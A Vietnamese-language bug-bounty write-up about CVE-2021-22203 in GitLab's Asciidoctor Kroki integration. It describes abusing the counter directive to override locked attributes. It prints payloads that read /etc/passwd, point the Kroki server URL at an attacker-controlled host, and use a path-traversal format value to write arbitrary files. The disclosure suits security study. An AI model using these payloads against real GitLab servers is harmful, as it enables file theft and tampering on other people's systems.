Phương thức “mày mò” lỗ hổng giá trị $5000 của GitLab – CVE-2021-22203

 

Tôi đã nhận được 1 khoản bounty từ GitLab nhờ một lỗ hổng tôi tìm được tại Asciidoctor vài tuần trước.

Tôi luôn hứng thú với các parser của các ngôn ngữ markup, ví dụ như đối với gem ‘github-markup’, có rất nhiều loại ngôn ngữ markup mà nó suppport ví dụ như:

  • Asciidoctor
  • Markdown
  • Creole
  • v.v.

Chúng được liệt kê ở gem github-markup như sau:

MARKUP_ASCIIDOC = :asciidoc

MARKUP_CREOLE = :creole

MARKUP_MARKDOWN = :markdown

MARKUP_MEDIAWIKI = :mediawiki

MARKUP_ORG = :org

MARKUP_POD = :pod

MARKUP_RDOC = :rdoc

MARKUP_RST = :rst

MARKUP_TEXTILE = :textile

MARKUP_POD6 = :pod6

 

Phần lớn các parser này được auđit source code về mặt bảo mật cực kì kĩ mặc dù những source code trên được viết từ rất lâu.

Truy tìm những hàm “hữu dụng”

Có một điều kì lạ là những “markup” parser này có những chức năng mà người phát triển cho là hữu dụng như “tải file bằng HTTP”, “đính kèm file từ hệ thống”, v.v. và những chức năng này được tôi quan tâm nhất

Ví dụ đối với restructeredText tức rst, có một attribute là file hay uri và một số directives như csv-table, raw hay include sử dụng chúng để thực hiện các chức năng trên

Đọc kĩ document chúng ta có thể thấy nếu như thiết lập file_insertion_enabled với giá trị false thì những attributes trên không còn tác dụng nữa. Điều này được thực hiện ở gem github-markup

 

SETTINGS = {

‘cloak_email_addresses’: False,

‘file_insertion_enabled’: False,

‘raw_enabled’: True,

‘strip_comments’: True,

‘doctitle_xform’: True,

‘initial_header_level’: 2,

‘report_level’: 5,

‘syntax_highlight’: ‘none’,

‘math_output’: ‘latex’,

‘field_name_limit’: 50,

}

Điều tương tự xả ra với markup parser của asciidoctor, nếu như security-mode (trường @safe) có giá trị là SECURE và attributes allow-uri-read có giá trị nil, thì tất cả những functions như đọc file, gửi HTTP request để tải file bị vô hiệu hoá

 

def image_uri(target_image, asset_dir_key = ‘imagesdir’)

if (doc = @document).safe < SafeMode::SECURE && (doc.attr? ‘data-uri’)

if ((Helpers.uriish? target_image) && (target_image = Helpers.encode_spaces_in_uri target_image)) ||

(asset_dir_key && (images_base = doc.attr asset_dir_key) && (Helpers.uriish? images_base) &&

(target_image = normalize_web_path target_image, images_base, false))

(doc.attr? ‘allow-uri-read’) ? (generate_data_uri_from_uri target_image, (doc.attr? ‘cache-uri’)) : target_image

else

generate_data_uri target_image, asset_dir_key

end

else

normalize_web_path target_image, (asset_dir_key ? (doc.attr asset_dir_key) : nil)

end

end

 

generate_data_uri gọi tới hàm File.binread tiến hành đọc file từ trường image_path.

 

::File.binread image_path

 

“Tưởng như” đã bypass được các hàm ngăn chặn

Tôi chọn asciidoctor làm parser để nghiên cứu sâu hơn về việc có thể bypass được những hàm, biến về bảo mật để có thể tìm được lỗ hổng đọc file tuỳ ý.

Việc đầu tiên tôi làm là tìm cách thay đổi giá trị của allow-uri-read thành một giá trị khác không phải là nil và sau đó thay đổi biến @safe để doc.safe có một giá trị khác ngoài SECURE

Theo document, Asciidoctor cho phép người dùng thiếp lập giá trị cho attributes bất kì ở trong document

Ví dụ, nếu markup có syntax là :test: haah, thì doc.attr[“test”] sẽ mang giá trị haah

Tuy nhiên, nếu như những attribute này được set khi chúng ta gọi tới Asciidoctor thì những attribute này sẽ được khoá và người dùng sẽ không thể thay đổi giá trị của những attribute này bằng những markup trên, điều này được thể hiện ở hàm

def attribute_locked?(name)

@attribute_overrides.key?(name)

end

Bạn có thể thắc mắc @attribute_overrides là gì, nó chứa tất cả những cặp key và giá trị khi chung ta gọi tới Asciidoctor cùng với một số giá trị được định trước như docdir, outfile, v.v. allow-uri-read luôn luôn có gái trị là nil

the only way to set the allow-uri-read attribute is via the API; disabled by default

attr_overrides[‘allow-uri-read’] ||= nil

GitLab gọi tới Asciidoctor với các attribute như sau:

 

DEFAULT_ADOC_ATTRS = {

‘showtitle’ => true,

‘sectanchors’ => true,

‘idprefix’ => ‘user-content-‘,

‘idseparator’ => ‘-‘,

‘env’ => ‘gitlab’,

‘env-gitlab’ => ”,

‘source-highlighter’ => ‘gitlab-html-pipeline’,

‘icons’ => ‘font’,

‘outfilesuffix’ => ‘.adoc’,

‘max-include-depth’ => MAX_INCLUDE_DEPTH,

# This feature is disabled because it relies on File#read to read the file.

# If we want to enable this feature we will need to provide a “GitLab compatible” implementation.

# This attribute is typically used to share common config (skinparam…) across all PlantUML diagrams.

# The value can be a path or a URL.

‘kroki-plantuml-include!’ => ”,

# This feature is disabled because it relies on the local file system to save diagrams retrieved from the Kroki server.

‘kroki-fetch-diagram!’ => ”

}.freeze

asciidoc_opts = { safe: :secure,

backend: :gitlab_html5,

attributes: DEFAULT_ADOC_ATTRS

….

 

html = ::Asciidoctor.convert(input, asciidoc_opts)

 

Đến đây tôi nhận ra mình không có khả năng thay đổi giá trị của allow-uri-read. Tuy nhiên hàm counter cho tôi một ý tưởng với việc thay đổi các giá trị của key trong biến @attributes mà không phải đi qua hàm attribute_locked?

 

def counter name, seed = nil

return @parent_document.counter name, seed if @parent_document

if (attr_seed = !(attr_val = @attributes[name]).nil_or_empty?) && (@counters.key? name)

@attributes[name] = @counters[name] = Helpers.nextval attr_val

elsif seed

@attributes[name] = @counters[name] = seed == seed.to_i.to_s ? seed.to_i : seed

else

@attributes[name] = @counters[name] = Helpers.nextval attr_seed ? attr_val : 0

end

end

 

Nếu như 1 directive counter có tên với giá trị của biến name và giá trị đó chưa được set trong attributes, thì giá trị của @attributes[name] sẽ được gán với giá trị của seed, và không hề gọi tới hàm attribute_locked?. Điều này cho phép thay đổi hoặc tạo ra 1 attribute với giá trị bất kì

Sau khi đọc document với cách sử dụng directive counter, tôi nhận thấy mình chỉ cần viết {counter:allow-uri-read:true} trong document và giá trị của @attributes[‘allow-uri-read’] sẽ thành true

attributes = {

‘showtitle’ => ‘@’,

‘idprefix’ => ”,

‘idseparator’ => ‘-‘,

‘sectanchors’ => nil,

‘env’ => ‘github’,

‘env-github’ => ”,

‘source-highlighter’ => ‘html-pipeline’

}

content = <<test

[#goals]

{counter:allow-uri-read:true}

test

 

Asciidoctor.convert(content, :safe => :secure, :attributes => attributes)

 

Đặt một break point tại hàm counter và ta có thể thấy rõ ràng điều này.

Như vậy là tôi có thể thay đổi và set giá trị cho attribute allow-uri-read, tuy nhiên tôi lại không thể thay đổi giá trị của @safe kẻ cả thay đổi giá trị của các attribute như safe-mode-level, safe-mode-name, v.v. Tôi quyết định không tiến theo con đường này nữa vì nếu như không thể làm được cả 2 điều trên thì không có nghĩa lí gì để tôi tiếp tục.

GitLab Kroki

Đọc comment khi sử dụng Asciidoctor của GitLab cho tôi một hướng đi mới.

# The value can be a path or a URL.

‘kroki-plantuml-include!’ => ”,

# This feature is disabled because it relies on the local file system to save diagrams retrieved from the Kroki server.

‘kroki-fetch-diagram!’ => ”

Nôm na thì là GitLab đang cố không cho người dùng thay đổi giá trị của 2 attribute kia mà tôi có thể thay đổi chúng.

Tôi bật GitLab Kroki lên để nghiên cứu, tìm đến source code của gem asciidoctor-kroki để tìm hiểu mục đích của các attribute này là gì.

Đọc file tuỳ ý khi dùng attribute kroki-plantuml-include

Gọi hàm File.read trực tiếp với đường dẫn từ giá trị của attribute kroki-plantuml-include

 

def prepend_plantuml_config(diagram_text, diagram_type, doc)

if diagram_type == :plantuml && doc.attr?(‘kroki-plantuml-include’)

# TODO: this behaves different than the JS version

# The file should be added by !include #{plantuml_include}” once we have a preprocessor for ruby

config = File.read(doc.attr(‘kroki-plantuml-include’))

diagram_text = config + ‘\n’ + diagram_text

end

diagram_text

end

 

Như vậy với khả năng set 1 giá trị bất khì cho attribute kroki-plantuml-include, tôi có thể đọc file tuỳ ý mà process chạy đoạn code ruby này được phép đọc. Và vì File.read xảy ra ở gem ruby này nên file được đọc đến từ máy chủ chạy GitLab chứ không phải máy chủ chạy Kroki.

Payload dưới đây sẽ tiến hành đọc file /etc/passwd và chèn nó vào URL gửi tới Kroki với giá trị là base64 của file nén của /etc/passwd

[#goals]

 

[plantuml, test=”{counter:kroki-plantuml-include:/etc/passwd}”, format=”png”]

….

class BlockProcessor

class DiagramBlock

class DitaaBlock

class PlantUmlBlock

 

BlockProcessor <|– {counter:kroki-plantuml-include}

DiagramBlock <|– DitaaBlock

DiagramBlock <|– PlantUmlBlock

Decode giá trị Base64 và giải nén cho ta được giá trị của /etc/passwd

Ghi File tuỳ ý với attribute kroki-fetch-diagram

Khi thay đổi giá trị kroki-fetch-diagram với giá tị bất kì ngoài nil thì gem asciidoctor-kroki sẽ làm nhiệm vụ lưu hình diagram đó vào file hệ thống

 

def create_image_src(doc, kroki_diagram, kroki_client)

if doc.attr(‘kroki-fetch-diagram’)

kroki_diagram.save(output_dir_path(doc), kroki_client)

else

kroki_diagram.get_diagram_uri(server_url(doc))

end

end

Hàm này gọi tới hàm save làm nhiệm vụ nói trên

def save(output_dir_path, kroki_client)

diagram_url = get_diagram_uri(kroki_client.server_url)

diagram_name = “diag-#{Digest::SHA256.hexdigest diagram_url}.#{@format}”

file_path = File.join(output_dir_path, diagram_name)

encoding = if @format == ‘txt’ || @format == ‘atxt’ || @format == ‘utxt’

‘utf8’

elsif @format == ‘svg’

‘binary’

else

‘binary’

end

# file is either (already) on the file system or we should read it from Kroki

contents = File.exist?(file_path) ? File.open(file_path, &:read) : kroki_client.get_image(self, encoding)

FileUtils.mkdir_p(output_dir_path)

if encoding == ‘binary’

File.binwrite(file_path, contents)

else

File.write(file_path, contents)

end

diagram_name

end

Về cơ bản, File.binwrite và File.write được goi với giá tị của param file_path. Giá trị này bị ảnh hưởng bởi 2 thứ:

  • #{Digest::SHA256.hexdigest diagram_url}
  • @format --> Ta thay đổi được cái này

Vì khả năng có thể thay đổi được giá trị của file_path tuỳ ý, chúng ta có thể làm cho gem này lưu vào file bất kì trên hệ thống.

Việc hosting nội dung file có thể được thi triển bằng việc trỏ GitLab Kroki tới một server khác, điều này có thể làm được bằng cách thay đổi attribute sau:

#Define the Kroki server URL from the settings.

# This attribute cannot be overridden from the AsciiDoc document.

‘kroki-server-url’ => Gitlab::CurrentSettings.kroki_url

 

# I COULD CHANGE THIS BY USING COUNTER 😛

Payload sau sẽ thay đổi kroki-server-uri tới server của chúng ta

{counter:kroki-server-url:http://malicious.net/}

Host một webserver để luôn luôn trả về content của file chúng ta muốn lưu trên server chạy GitLab.

Tuy nhiên vì cách hoạt động kì lạ của ruby File, đầu tiên chúng ta cần tìm một giá trị #{Digest::SHA256.hexdigest diagram_url} đúng

thu-muc-khong-ton-tai/../../../../../../../etc/passwd -> sẽ luôn trả về một exception nếu như trong file_path có chứa 1 directory hoặc một file nào đó không tòn tại Chúng ta cần thu-muc-khong-ton-tai tồn tại và chính là giá trị của diag-#{Digest::SHA256.hexdigest diagram_url}. Chúng ta cần lmf những điều sau:

  • Lấy địa điểm của file mà chúng ta mướn lưu tại server chạy GitLab, ví dụ /tmp/test_file_write.txt
  • Cấu trúc 1 URL đúng với dữ liệu của diagram.

Bước này hơi phức tạp một chút và chúng ta cần iá trị base64 của file nén của diagram. Ví du với diagram sau:

….

class BlockProcessor

class DiagramBlock

class DitaaBlock

class PlantUmlBlock

 

BlockProcessor <|– hehe

DiagramBlock <|– DitaaBlock

DiagramBlock <|– PlantUmlBlock

….

Giá trị chúng ta cần sẽ là

eNpLzkksLlZwyslPzg4oyk9OLS7OL-JKBgu6ZCamFyXmguXgQiWJicgCATmJeSWhuTkQMS5UcxRsanR1FTJSM1K5kM2CCCMZhSmJYiwAy8U5sQ==

Và URL được cấu trúc đúng sẽ là

http://kroki-host/../../../../../../../../file-location/base64-compressed-data

tức

http://192.168.69.1:8082/plantuml/../../../../../../tmp/test_file_write.txt/eNpLzkksLlZwyslPzg4oyk9OLS7OL-JKBgu6ZCamFyXmguXgQiWJicgCATmJeSWhuTkQMS5UcxRsanR1FTJSM1K5kM2CCCMZhSmJYiwAy8U5sQ==

Tôi dùng đoạn code sau để tạo ra giá trị SHA-256 của URL:

p “diag-#{Digest::SHA256.hexdigest test = string}”

  • Chạy một payload như sau, lưu ý với giá trị imagesdir
[#goals]

:imagesdir: diag-58f90331904a1989259d639c5677e0fff5e434e739c70f1d3bb2004723bc99b8.

:outdir: /tmp/

 

[plantuml, test=”{counter:kroki-fetch-diagram:true}”,tet=”{counter:kroki-server-url:http://192.168.69.1:8082/}”, format=”/../../../../../../tmp/test_file_write.txt”]

….

class BlockProcessor

class DiagramBlock

class DitaaBlock

class PlantUmlBlock

 

BlockProcessor <|– hehe

DiagramBlock <|– DitaaBlock

DiagramBlock <|– PlantUmlBlock

….

Chạy lại payload với giá trị của imagesdir là .

[#goals]

:imagesdir: .

:outdir: /tmp/

 

[plantuml, test=”{counter:kroki-fetch-diagram:true}”,tet=”{counter:kroki-server-url:http://192.168.69.1:8082/}”, format=”/../../../../../../tmp/test_file_write.txt”]

….

class BlockProcessor

class DiagramBlock

class DitaaBlock

class PlantUmlBlock

 

BlockProcessor <|– hehe

DiagramBlock <|– DitaaBlock

DiagramBlock <|– PlantUmlBlock

….

Để biết thêm về PoC hơn, các bạn có thể xem video tại report ở địa chỉ sau:

https://hackerone.com/reports/1098793

Kết luận

Tôi nhận được bounty với giá $5600 khi report lỗ hổng này cho GitLab tại Hackerone, tuy rằng đây không phải là một lương bounty lớn nhưng tôi nhận ra mình cũng khá thành công khi mặc dù không thể bypass được @safe của asciidoctor nhưng lại tìm được lỗ hổng với 1 extension của nó. Hiện nay, cả asciidoctor và asciidoctor-kroki đã update, bạn không thể thay đổi giá trị của attribute bất kì với counter nữa cũng như bạn không thể thay đổi giá trị của format cho file_path.